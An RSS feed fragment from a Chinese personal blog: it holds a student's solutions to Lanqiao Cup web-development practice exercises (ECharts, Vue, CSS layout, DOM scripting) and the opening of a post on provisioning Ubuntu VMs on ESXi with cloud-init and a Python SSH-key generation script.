	&amp;lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&amp;gt;
	&amp;lt;title&amp;gt;echarts 柱形图&amp;lt;/title&amp;gt;
	&amp;lt;script src=&quot;./echarts.js&quot;&amp;gt;&amp;lt;/script&amp;gt;
&amp;lt;/head&amp;gt;

&amp;lt;body&amp;gt;
	&amp;lt;div id=&quot;main&quot; style=&quot;width: 600px;height:400px;&quot;&amp;gt;&amp;lt;/div&amp;gt;

	&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;
		// 基于准备好的dom，初始化echarts实例
		var myChart = echarts.init(document.getElementById(&apos;main&apos;));
		// 指定图表的配置项和数据
		var option = {
			title: {
				text: &apos;学生成绩统计&apos;
			},
			tooltip: {},
			legend: {
				data: [&apos;成绩&apos;]
			},
			// TODO:待补充修改代码 
			yAxis: {
				
			},
			// y轴
			xAxis: {
				data: [&apos;张三&apos;, &apos;李四&apos;, &apos;王五&apos;, &apos;贺八&apos;, &apos;杨七&apos;, &apos;陈九&apos;]

			},
			series: [
				{
					name: &apos;成绩&apos;,
					type: &apos;bar&apos;,
					data: [55, 90, 65, 70, 80, 63]
				},

			]
		};

		// 使用刚指定的配置项和数据显示图表。
		myChart.setOption(option);
	&amp;lt;/script&amp;gt;


&amp;lt;/body&amp;gt;

&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这道题平台给的打码有问题，将yAxis改成xAxis， yAxis 留空即可&lt;/p&gt;
&lt;h2&gt;【功能实现】时间管理大师&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
&amp;lt;meta charset=&quot;utf-8&quot;&amp;gt;
&amp;lt;title&amp;gt;任务管理器&amp;lt;/title&amp;gt;

&amp;lt;link type=&quot;text/css&quot; href=&quot;css/style.css&quot; rel=&quot;stylesheet&quot; /&amp;gt;

&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;         
&amp;lt;div id=&quot;box&quot;&amp;gt;
&amp;lt;div &amp;gt;
	&amp;lt;h2&amp;gt;Todos&amp;lt;/h2&amp;gt;
	&amp;lt;p&amp;gt;罗列日常计划，做一个时间管理大师！&amp;lt;/p&amp;gt;
	&amp;lt;div &amp;gt;
		&amp;lt;span&amp;gt;内容&amp;lt;/span&amp;gt;
		&amp;lt;input type=&quot;text&quot; placeholder=&quot;请输入你要做的事&quot; v-model=&quot;newTodo&quot;/&amp;gt;
		&amp;lt;span id=&apos;add&apos; @click=&quot;add()&quot;&amp;gt;确认&amp;lt;/span&amp;gt;
	&amp;lt;/div&amp;gt;
&amp;lt;/div&amp;gt;

&amp;lt;ul &amp;gt;
  &amp;lt;li v-if=&quot;todos.length==0&quot;&amp;gt;
  	暂无数据
  &amp;lt;/li&amp;gt;
	&amp;lt;li v-for=&quot;(item,index) in todos&quot; :key=&quot;index&quot;&amp;gt;
		&amp;lt;!-- 前面的序号 --&amp;gt;
		&amp;lt;span &amp;gt;{{index++}}&amp;lt;/span&amp;gt;
		&amp;lt;!-- 列表内容 --&amp;gt;
		&amp;lt;span&amp;gt;{{item}}&amp;lt;/span&amp;gt;
		&amp;lt;!-- 删除按钮 --&amp;gt;
		&amp;lt;span  @click=&quot;deleted()&quot;&amp;gt;&amp;lt;/span&amp;gt;
	&amp;lt;/li&amp;gt;
	&amp;lt;li v-if=&quot;todos.length!=0&quot;&amp;gt;
		&amp;lt;b&amp;gt;
			总数：{{todos.length}}
		&amp;lt;/b&amp;gt;
		&amp;lt;b id=&apos;clear&apos; @click=&quot;clear()&quot;&amp;gt;清除&amp;lt;/b&amp;gt;
	&amp;lt;/li&amp;gt;
&amp;lt;/ul&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;script src=&quot;js/vue.js&quot;&amp;gt;&amp;lt;/script&amp;gt;
&amp;lt;script&amp;gt;
var top= new Vue({
	el:&quot;#box&quot;,
  // 在此处补全代码，实现所需功能
  data(){ 
	return{
		todos:[],//存储数据的链表
		newTodo:&quot;&quot;,//新添加的todo
	}
  },
  methods:{//生命周期钩子
	add(){
		if(this.newTodo ==&quot;&quot;) {
			this.newTodo = &quot;&quot;
		}else{
			this.todos.push(this.newTodo.trim())
			console.log(this.newTodo.trim())
		}
		this.newTodo=&quot;&quot;//回复为空字符串，避免二次添加
	},
	clear(){
		this.todos=[]//清空列表
	},
	deleted(index){
		this.todos.splice(index,1)//splice(index,1) 方法就是从index下标开始删除一个元素，这里正好就是删除index元素自身
	}
  }
  
})
&amp;lt;/script&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;【功能实现】菜单树检索&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!-- index.html --&amp;gt;
&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html lang=&quot;zh&quot;&amp;gt;
	&amp;lt;head&amp;gt;
		&amp;lt;meta charset=&quot;UTF-8&quot;&amp;gt;
		&amp;lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&amp;gt;
		&amp;lt;meta http-equiv=&quot;X-UA-Compatible&quot; content=&quot;ie=edge&quot;&amp;gt;
		&amp;lt;title&amp;gt;test&amp;lt;/title&amp;gt;
		&amp;lt;script src=&quot;./js/vue.js&quot;&amp;gt;&amp;lt;/script&amp;gt;
		&amp;lt;script src=&quot;./js/axios.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;
		&amp;lt;style&amp;gt;
			input{
				width: 200px;
				height: 32px;
				padding-left:5px;
			}
		&amp;lt;/style&amp;gt;
	&amp;lt;/head&amp;gt;
	&amp;lt;body&amp;gt;
    &amp;lt;!-- 需求：输入待查找的字段，输出包含该字段的所有菜单数据。
    1、若该菜单有父级菜单，则返回其父级菜单及同胞菜单。
    2、若该菜单有子级菜单，则返回该菜单及其下子级菜单。
    3、若该菜单既无父级也无子级，则返回菜单本身即可。
    测试字段：查询、首页、管理、配置、维护 --&amp;gt;
		&amp;lt;div id=&quot;app&quot;&amp;gt;
			&amp;lt;input type=&quot;text&quot; placeholder=&quot;请输入要搜索的菜单内容&quot; v-model=&quot;searchData&quot;/&amp;gt;
			&amp;lt;ul&amp;gt;
				&amp;lt;li v-for=&quot;item in filteredMenus&quot; :key=&quot;item.meta.title&quot;&amp;gt;
				  &amp;lt;span :style=&quot;{ backgroundColor: item.checked ? &apos;yellow&apos; : &apos;&apos; }&quot;&amp;gt;{{ item.meta.title }}&amp;lt;/span&amp;gt;
				  &amp;lt;ul v-if=&quot;item.children &amp;amp;&amp;amp; item.children.length&quot;&amp;gt;
					&amp;lt;li v-for=&quot;child in item.children&quot; :key=&quot;child.meta.title&quot;&amp;gt;
					  &amp;lt;span :style=&quot;{ backgroundColor: child.checked ? &apos;yellow&apos; : &apos;&apos; }&quot;&amp;gt;{{ child.meta.title }}&amp;lt;/span&amp;gt;
					&amp;lt;/li&amp;gt;
				  &amp;lt;/ul&amp;gt;
				&amp;lt;/li&amp;gt;
			  &amp;lt;/ul&amp;gt;				
		&amp;lt;/div&amp;gt;
	&amp;lt;/body&amp;gt;
  &amp;lt;script type=&quot;text/javascript&quot; src=&quot;./js/index.js&quot;&amp;gt;&amp;lt;/script&amp;gt;
&amp;lt;/html&amp;gt;


//index.js
const app = new Vue({
  el: &quot;#app&quot;,
  data() {
    return {
      menus: [],
      searchData: &quot;&quot;,
    };
  },
  mounted() {
    axios.get(&apos;data.json&apos;).then(res =&amp;gt; {
      this.menus = res.data;
    }).catch(err =&amp;gt; {
      console.error(&quot;加载菜单数据失败&quot;, err);
    });
  },
  computed: {
    filteredMenus() {
      if (!this.searchData.trim()) {
        return this.menus;
      }
      return this.filterMenu(this.searchData.trim());
    }
  },
  methods: {
    filterMenu(value) {
      // 深拷贝菜单数据，避免污染原数据
      const menus = JSON.parse(JSON.stringify(this.menus));

      // 递归过滤函数
      function filterTree(items) {
        return items
          .map(item =&amp;gt; {
            // 先过滤子菜单
            if (item.children) {
              item.children = filterTree(item.children);
            }

            // 当前菜单是否匹配 或 有匹配的子菜单
            if (
              item.meta.title.includes(value) ||
              (item.children &amp;amp;&amp;amp; item.children.length &amp;gt; 0)
            ) {
              // 标记高亮，匹配项为 true，否则 false
              item.checked = item.meta.title.includes(value);
              return item;
            }
            // 不匹配则过滤掉
            return null;
          })
          .filter(item =&amp;gt; item !== null);
      }

      return filterTree(menus);
    }
  }
});
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;让时钟转起来&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;const oHoure = document.createElement(&apos;div&apos;);
const oMinute = document.createElement(&apos;div&apos;);
const oSecond = document.createElement(&apos;div&apos;);
oHoure.setAttribute(&apos;id&apos;, &apos;houre&apos;);
oMinute.setAttribute(&apos;id&apos;, &apos;minute&apos;);
oSecond.setAttribute(&apos;id&apos;, &apos;second&apos;);
oHoure.classList = &apos;pointer&apos;;
oMinute.classList = &apos;pointer&apos;;
oSecond.classList = &apos;pointer&apos;;
try {
    document.querySelector(&apos;.container&apos;).append(oHoure);
    document.querySelector(&apos;.container&apos;).append(oMinute);
    document.querySelector(&apos;.container&apos;).append(oSecond);
} catch (e) { }

function main() {
    const nowTime = new Date();
    const nowHoure = nowTime.getHours();
    const nowMinute = nowTime.getMinutes();
    const nowSecond = nowTime.getSeconds();
    const houreDeg = (nowMinute / 60) * 30;
    const minuteDeg = (nowSecond / 60) * 6;

    oHoure.style.transform = &quot;rotate(&quot; + (nowHoure * 30 + houreDeg) + &quot;deg)&quot;;
    oMinute.style.transform = &quot;rotate(&quot; + (nowMinute * 6 + minuteDeg) + &quot;deg)&quot;;
    // 请勿删除上方代码
    // 请在下方补充代码，使得时钟的秒针可以转动起来
    //nowSecond 是秒针 nowSecond.style.transform 可以直接修改秒针的css
    //rotate() 是transfor的一个参数，让元素围绕中心点旋转
    
    oSecond.style.transform=&quot;rotate(&quot; + (nowSecond * 6) + &quot;deg)&quot;;

}
main();

setInterval(() =&amp;gt; {
    main()
}, 1000);
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;由文本溢出引发的“不友好体验”&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html lang=&quot;en&quot;&amp;gt;

&amp;lt;head&amp;gt;
    &amp;lt;meta charset=&quot;UTF-8&quot;&amp;gt;
    &amp;lt;title&amp;gt;由文本溢出引发的“不友好体验”&amp;lt;/title&amp;gt;
    &amp;lt;link rel=&quot;stylesheet&quot; href=&quot;https://labfile.oss.aliyuncs.com/courses/9203/03style.css&quot;&amp;gt;
&amp;lt;/head&amp;gt;

&amp;lt;body&amp;gt;
    &amp;lt;div &amp;gt;
        &amp;lt;ul&amp;gt;
            &amp;lt;li &amp;gt;&amp;lt;span &amp;gt;&amp;lt;/span&amp;gt;&amp;lt;a 
                    href=&quot;&quot; target=&quot;_blank&quot;&amp;gt;
                    &amp;lt;div &amp;gt;&amp;lt;img src=&quot;https://labfile.oss.aliyuncs.com/courses/9203/04_02.jpg&quot;
                             alt=&quot;&quot;&amp;gt;
                    &amp;lt;/div&amp;gt;
                    &amp;lt;div &amp;gt;
                        &amp;lt;p &amp;gt;
                            &amp;lt;i &amp;gt;新课&amp;lt;/i&amp;gt;
                            随着前端的发展，UI 框架经历了刀耕火种的时代，层出不穷的 UI 框架让前端再次大放异彩。ElementUI
                            作为前端发展史上最为经典的组件库之一，学习并了解它是如何构建的，以及它的源码是如何搭建出 UI 组件的，都将为我们今后的发展与应用提供可借鉴之处！
                        &amp;lt;/p&amp;gt;
                        &amp;lt;div &amp;gt;
                            &amp;lt;div &amp;gt;&amp;lt;i&amp;gt;¥&amp;lt;/i&amp;gt;&amp;lt;span &amp;gt;72.&amp;lt;span
                                        &amp;gt;00&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/div&amp;gt;
                        &amp;lt;/div&amp;gt;
                    &amp;lt;/div&amp;gt;
                &amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;
        &amp;lt;/ul&amp;gt;
    &amp;lt;/div&amp;gt;
    &amp;lt;script&amp;gt;
                            //   -webkit-line-clamp: 2; 
                            //     /* 规定行数为2 */
                            //     overflow: hidden;
                            //     /* 隐藏超出部分 */
                            //     text-overflow: ellipsis;
                            //     /* 超出部分用省略号代替 */
        document.querySelector(&apos;.more2_info_name&apos;).style=&quot;-webkit-line-clamp: 2;overflow: hidden;text-overflow: ellipsis;&quot;
    &amp;lt;/script&amp;gt;
&amp;lt;/body&amp;gt;

&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;为图片添加景深效果&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;html&amp;gt;

&amp;lt;head&amp;gt;
    &amp;lt;META charset=&quot;utf-8&quot;&amp;gt;
    &amp;lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0&quot;&amp;gt;
    &amp;lt;title&amp;gt;为图片添加景深效果&amp;lt;/title&amp;gt;
    &amp;lt;link rel=&quot;stylesheet&quot; href=&quot;https://labfile.oss.aliyuncs.com/courses/9203/style06.css&quot;&amp;gt;
&amp;lt;/head&amp;gt;

&amp;lt;body&amp;gt;
    &amp;lt;header&amp;gt;
        &amp;lt;div&amp;gt;&amp;lt;img  src=&quot;https://labfile.oss.aliyuncs.com/courses/9203/autumn-1.png&quot; title=&quot;枫叶林&quot;&amp;gt;&amp;lt;/div&amp;gt;
        &amp;lt;div&amp;gt;&amp;lt;img  src=&quot;https://labfile.oss.aliyuncs.com/courses/9203/autumn-2.png&quot; title=&quot;人物&quot;&amp;gt;&amp;lt;/div&amp;gt;
        &amp;lt;div&amp;gt;&amp;lt;img  src=&quot;https://labfile.oss.aliyuncs.com/courses/9203/autumn-3.png&quot;&amp;gt;&amp;lt;/div&amp;gt;
        &amp;lt;div&amp;gt;&amp;lt;img  src=&quot;https://labfile.oss.aliyuncs.com/courses/9203/autumn-4.png&quot;&amp;gt;&amp;lt;/div&amp;gt;
        &amp;lt;div&amp;gt;&amp;lt;img  src=&quot;https://labfile.oss.aliyuncs.com/courses/9203/autumn-5.png&quot;&amp;gt;&amp;lt;/div&amp;gt;
        &amp;lt;div&amp;gt;&amp;lt;img  src=&quot;https://labfile.oss.aliyuncs.com/courses/9203/autumn-6.png&quot;&amp;gt;&amp;lt;/div&amp;gt;
    &amp;lt;/header&amp;gt;
    &amp;lt;script&amp;gt;
      // 请在这里编写代码，根据需求，使得图片达到景深效果
      document.querySelector(&apos;.img1&apos;).style.filter=&quot;blur(0px)&quot;
      document.querySelector(&apos;.img2&apos;).style.filter=&quot;blur(0px)&quot;
    &amp;lt;/script&amp;gt;
&amp;lt;/body&amp;gt;

&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;element-ui 组件二次封装&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;template&amp;gt;
  &amp;lt;div &amp;gt;
    &amp;lt;el-table
      ref=&quot;singleTable&quot;
      highlight-current-row
      :data=&quot;tableData&quot;
      stripe
      border
      style=&quot;width: 100%&quot;
    &amp;gt;
      &amp;lt;el-table-column label=&quot;单选&quot; width=&quot;80&quot;&amp;gt;
        &amp;lt;!-- TODO：完善单选按钮组件，实现需求（DOM 结构不能修改） --&amp;gt;
        &amp;lt;template slot-scope=&quot;scope&quot;&amp;gt;
          &amp;lt;el-radio :label=&quot;scope.$index&quot; v-model=&quot;currentRow&quot;&amp;gt; &amp;lt;/el-radio&amp;gt;
        &amp;lt;/template&amp;gt;
      &amp;lt;/el-table-column&amp;gt;
      &amp;lt;el-table-column label=&quot;日期&quot; width=&quot;180&quot;&amp;gt;
        &amp;lt;template slot-scope=&quot;scope&quot;&amp;gt;
          📅&amp;lt;span style=&quot;margin-left: 10px&quot;&amp;gt;{{ scope.row.date }}&amp;lt;/span&amp;gt;
        &amp;lt;/template&amp;gt;
      &amp;lt;/el-table-column&amp;gt;
      &amp;lt;el-table-column prop=&quot;name&quot; label=&quot;姓名&quot; width=&quot;180&quot;&amp;gt; &amp;lt;/el-table-column&amp;gt;
      &amp;lt;el-table-column prop=&quot;address&quot; label=&quot;地址&quot;&amp;gt; &amp;lt;/el-table-column&amp;gt;
    &amp;lt;/el-table&amp;gt;
    &amp;lt;div &amp;gt;
      &amp;lt;el-button @click=&quot;setCurrent(tableData[1])&quot;&amp;gt;选中第二行&amp;lt;/el-button&amp;gt;
      &amp;lt;el-button @click=&quot;setCurrent()&quot;&amp;gt;取消选择&amp;lt;/el-button&amp;gt;
    &amp;lt;/div&amp;gt;
  &amp;lt;/div&amp;gt;
&amp;lt;/template&amp;gt;

&amp;lt;script&amp;gt;
module.exports = {
  props: {
    tableData: {
      type: Array,
      default: () =&amp;gt; [],
    },
  },
  data() {
    return {
      currentRow: null,
    };
  },
  methods: {
    setCurrent(row) {
      this.$refs.singleTable.setCurrentRow(row); // 设置当前选中行
    },
  },
};
&amp;lt;/script&amp;gt;
&amp;lt;style scoped&amp;gt;
.main {
  width: 60%;
  margin: 0 auto;
}
.tools {
  margin-top: 20px;
  text-align: center;
}
&amp;lt;/style&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;凭空消失的 TA&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;    &amp;lt;script src=&quot;./element-ui-2.15.10/index.js&quot; &amp;gt;&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;用户名片&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;.center {
  position: absolute;
  /* 绝对定位 */
  top: 50%;
  left: 50%;
  transform: translate(-50%,-50%);

}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;网页 PPT&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;const sections = document.querySelectorAll(&quot;.container section&quot;)
function switchPage() {
  // TODO: 请补充该函数，实现根据activeIndex切换页面的功能，并且在到达最后一页或第一页时给相应的按钮添加disable类
  sections.forEach(item =&amp;gt; item.style.display=&apos;none&apos;)
  sections[activeIndex].style.display=&apos;block&apos;

  document.querySelectorAll(&apos;.btn&apos;).forEach(item=&amp;gt;item.classList.remove(&apos;disable&apos;))
  if(activeIndex ==4 ) {document.querySelector(&apos;.right&apos;).classList.add(&apos;disable&apos;)}
  if(activeIndex ==0 ) {
    document.querySelector(&apos;.left&apos;).classList.add(&apos;disable&apos;)
  }
  document.querySelector(&apos;.page&apos;).textContent = `${activeIndex+1}/5`
  
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;西游记之西天取经&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;    animation: a4 0.8s steps(8) infinite;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;为 animation 添加 infinite 属性即可，使动画无限循环。&lt;/p&gt;
&lt;h2&gt;商品销量和销售额实时展示看板&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;    // TODO：补全 `yAxis` 的设置，要求“销售额”（即，配置项 `name`）的位置（即，配置项 `position`）在图表的左侧，“销量”（即，配置项 `name`）的位置（即，配置项 `position`）在图表的右侧。
    yAxis: [{
        type: &apos;value&apos;,
        name: &apos;销售额&apos;,
        position: &apos;left&apos;,
    },
    {
        type: &apos;value&apos;,
        name: &apos;销量&apos;,
        position: &apos;right&apos;,
    }],


    // TODO：补全代码，正确给 X 轴的时间，以及 Y 轴的商品的销售额 saleObj 和销量赋值 countObj。
    charData.xAxis.data = Object.keys(result.data.countObj)
    charData.series[0].data = Object.values(result.data.saleObj)
    charData.series[1].data = Object.values(result.data.countObj)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;电影院排座位&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;/* TODO：待补充代码 */
.seat-area {
  display: grid;
  margin-top: 50px;
  gap: 10px;
  grid-template-columns: 45px 65px 45px 45px 45px 65px 45px 45px;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;图片水印生成&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;  for (let index = 0; index &amp;lt; count; index++) {
    container.innerHTML +=&apos;&amp;lt;span style=&quot;color:&apos;+color +&apos;;transform: rotate(&apos;+deg+&apos;deg); opacity:&apos;+opacity+&apos;&quot;&amp;gt;&apos;+text+&apos;&amp;lt;/span&amp;gt;&apos;
  }
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>蓝桥杯web刷题记录1</title><link>https://blog.fiveqm.com/archives/527/</link><guid isPermaLink="true">https://blog.fiveqm.com/archives/527/</guid><description>【页面布局】个人博客 / TODO:banner 上的文字 需要居中显示 / .home-wrapper .banner .banner-conent .hero { text-align: center; / 文字居中 / margin-top: 3rem; } / TODO: main-wrap...</description><pubDate>Mon, 21 Jul 2025 04:40:14 GMT</pubDate><content:encoded>&lt;h2&gt;&lt;strong&gt;【页面布局】个人博客&lt;/strong&gt;&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;/* TODO:banner 上的文字 需要居中显示 */
.home-wrapper .banner .banner-conent .hero {
  text-align: center; /* 文字居中 */
  margin-top: 3rem;
}

/* TODO: main-wrapper 通过设置main-wrapper 布局方式 让.main-left  .main-right 正确显示 */
.main-wrapper {
  display: flex; /* 使用flex布局 */
  margin: 1.5rem auto 0 auto;
  max-width: 1100px;
  padding: 0 0.9rem;
  box-sizing: border-box;
  position: relative;
}

/*/* TODO 宽度自适应 居左显示 */
.main-wrapper .main-left {
  width: auto; /*宽带自适应*/
}

/* 宽 245px 居右显示 */
.main-wrapper .main-right&amp;gt;* {
  box-sizing: border-box;
  width: 245px;/* 宽 245px */
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;修复网站显示问题&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;    &amp;lt;link rel=&quot;stylesheet&quot; href=&quot;css/style.css&quot; /&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;难评&lt;/p&gt;
&lt;h2&gt;【功能实现】搜一搜呀&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;        computed: {
          filteredList() {
            // TODO: 请补充代码
            const keyword = this.search.trim() //去除空格
            //filter 方法遍历 postList 数组中的每一个元素
            return this.postList.filter(post =&amp;gt; post.title.includes(keyword))
          },
        },
      });
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;【功能实现】折叠手风琴&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;const showed = document.querySelector(&apos;.options&apos;) // 整个容器
const show = document.querySelectorAll(&apos;.option&apos;) // 所有选项卡

// 给整个容器加事件监听器（事件委托）
showed.addEventListener(&apos;click&apos;, (err) =&amp;gt; {
    // 1. 所有选项移除 active 类
    show.forEach(i =&amp;gt; i.classList.remove(&quot;active&quot;))

    // 2. 给你点击的元素加上 active 类
    err.target.classList.add(&quot;active&quot;)
})
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;关于你的欢迎语&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;function generate() {
    subject = document.getElementById(&quot;subject&quot;);
    event1 = document.getElementById(&quot;event1&quot;);
    event2 = document.getElementById(&quot;event2&quot;);
    if (subject.length==0 || event1.length==0 || event2.length==0){
        return;
    }
    result = `欢迎用户${subject.value}在${event2.value}学习${event1.value}课程！`; //使用字符串拼接
    document.getElementById(&quot;result&quot;).value = result;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;【功能实现】卡片化标签页&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// 实现选项卡功能
function init() {
  // TODO 待补充代码
  const tabs = document.querySelectorAll(&quot;.tabs div&quot;)
  const contents = document.querySelectorAll(&quot;#content div&quot;)
  tabs.forEach((tab,index)=&amp;gt; {
    tab.addEventListener(&apos;click&apos;,()=&amp;gt;{
      tabs.forEach(i =&amp;gt; i.classList.remove(&quot;active&quot;))
      tab.classList.add(&quot;active&quot;)
      
      contents.forEach(s=&amp;gt;{
        s.classList.remove(&apos;active&apos;)
        contents[index].classList.add(&apos;active&apos;)
      })
    })
  })
}
init();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;记得删除tabs里的无用类名&lt;/p&gt;
&lt;h2&gt;【页面布局】 水果摆盘&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;/* 菠萝 TODO 待补充代码 */
.yellow {
	align-self: flex-end;
	order: 1;
	/* | 属性           | 作用                       |
		| ------------ | ------------------------ |
		| `align-self` | 控制该元素在主轴垂直方向上的对齐方式（如底部）  |
		| `order`      | 控制该元素在父元素中的排列顺序（数字越小越靠前） |
 */
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;【功能实现】新年贺卡&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;document.addEventListener(&apos;DOMContentLoaded&apos;, function () {
	const greetingDisplay = document.getElementById(&quot;greeting-display&quot;)
	const btn = document.getElementById(&quot;btn&quot;)
	// 点击开始书写按钮
	btn.addEventListener(&quot;click&quot;, () =&amp;gt; {
		show(greetingDisplay)
	})
})

const greetings = [
	&quot;新年快乐!&quot;,
	&quot;接受我新春的祝愿,祝你平安幸福&quot;,
	&quot;祝你新年快乐,洋洋得意!&quot;,
	&quot;新的一年,新的开始;心的祝福,新的起点!&quot;,
	&quot;新年好!祝新年心情好,身体好,一切顺心!&quot;,
]
// 随机数函数 从 greetings 随机取一个值并返回
function writeGreeting() {
	// TODO 带补充代码  
	const res = Math.floor(Math.random() * 5)//随机生成0-4的整数
	console.log(greetings[res])
	return greetings[res]

}

/*
 * @param {*} greetingDisplay  要显示内容的dom元素
 */
//  show 将 writeGreeting 函数中返回的内容显示在 greetingDisplay 元素中
function show(greetingDisplay) {
	// TODO 待补充代码
	greetingDisplay.innerHTML = writeGreeting()
}

module.exports = { show, writeGreeting }
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;【页面布局】给页面化个妆&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;* {
    box-sizing: border-box;
    margin: 0;
    padding: 0;
}

body {
    background-image: url(&apos;../images/background-pic.jpeg&apos;);
    background-size: cover;
    color: #fff;
    height: 945;
    width: 1920;
}

.nav-bar {
    display: flex;
    align-items: center;
    justify-content: flex-end;
}

.nav-bar img {
    height: 50px;
    width: 50px;
    border-radius: 50%;
    margin: 15px;
}

/* 我自己写的 */
.content-container {
    margin-top: 70px;
/* 给主体内容一个上边距，让它不会贴着页面顶部 */
}

.content {
    height: 600px;
    width: 450px;
    background-color: rgba(0, 0, 0, .45);
    margin: 0 auto;
    /* 水平居中（margin: 0 auto）； */
    border-radius: 10px;
    text-align: center;
}

.content img {
    width: 200px;
    height: 200px;
    border-radius: 50%;
    margin-top: -20%;
    /* margin-top: -20%：向上浮动，让头像部分“插入”背景中 */
}

.content h2 {
    font-size: 45px;
    font-weight: 800;
    margin-bottom: 40px;
}

.content button {
    width: 80px;
    height: 30px;
    border-color: #041c32;
    background-color: #2d4263;
    color: white;
    margin-top: 15px;
}

.content a {
    text-decoration: none;
    color: white;
}

.text {
    margin-top: 15px;
    /* margin-top: 15px：与上面输入框拉开间距。 */
}

.content input {
    text-align: center;
    width: 300px;
    height: 40px;
    font-size: 20px;
    border-radius: 5px;
    margin: 10px;
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Cloud-init ESXi 尝试</title><link>https://blog.fiveqm.com/archives/509/</link><guid isPermaLink="true">https://blog.fiveqm.com/archives/509/</guid><description>我这里使用ESXI 7.0.3 和 jammy-server-cloudimg-amd64.ova 进行尝试cloud-init 使用ova创建虚拟机 ，先不要开机，在编辑-&gt;高级 中添加cloud-init的base64参数，保存后开机 guestinfo.userdata guestinfo.u...</description><pubDate>Mon, 21 Jul 2025 02:48:11 GMT</pubDate><content:encoded>&lt;p&gt;我这里使用ESXI 7.0.3 和 &lt;a href=&quot;https://cloud-images.ubuntu.com/jammy/current/jammy-server-cloudimg-amd64.ova&quot;&gt;jammy-server-cloudimg-amd64.ova&lt;/a&gt; 进行尝试cloud-init&lt;/p&gt;
&lt;p&gt;使用ova创建虚拟机 ，先不要开机，在编辑-&amp;gt;高级 中添加cloud-init的base64参数，保存后开机&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;guestinfo.userdata&lt;/li&gt;
&lt;li&gt;guestinfo.userdata.encoding=&quot;base64&quot;&lt;/li&gt;
&lt;li&gt;guestinfo.metadata&lt;/li&gt;
&lt;li&gt;guestinfo.metadata.encoding=&quot;base64&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;python生成配置脚本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import uuid
import base64
import shutil
import subprocess
from pathlib import Path
from textwrap import dedent
from pyfiglet import Figlet

# --- 配置区 ---
OUTPUT_BASE_DIR = Path(&quot;./cloudinit_output&quot;)
HOSTNAMES = [
    &quot;ubuntu-master&quot;,
    &quot;ubuntu-worker01&quot;,
    &quot;ubuntu-worker02&quot;
]
# --- 配置区结束 ---

def generate_ssh_keypair(key_path: Path):
    key_path.parent.mkdir(parents=True, exist_ok=True)
    if key_path.exists():
        print(f&quot;密钥文件已存在，跳过生成：{key_path}&quot;)
        return
    print(f&quot;生成新的 SSH 密钥对: {key_path}&quot;)
    try:
        subprocess.run(
            [&quot;ssh-keygen&quot;, &quot;-t&quot;, &quot;rsa&quot;, &quot;-b&quot;, &quot;4096&quot;, &quot;-f&quot;, str(key_path), &quot;-N&quot;, &quot;&quot;, &quot;-q&quot;],
            check=True
        )
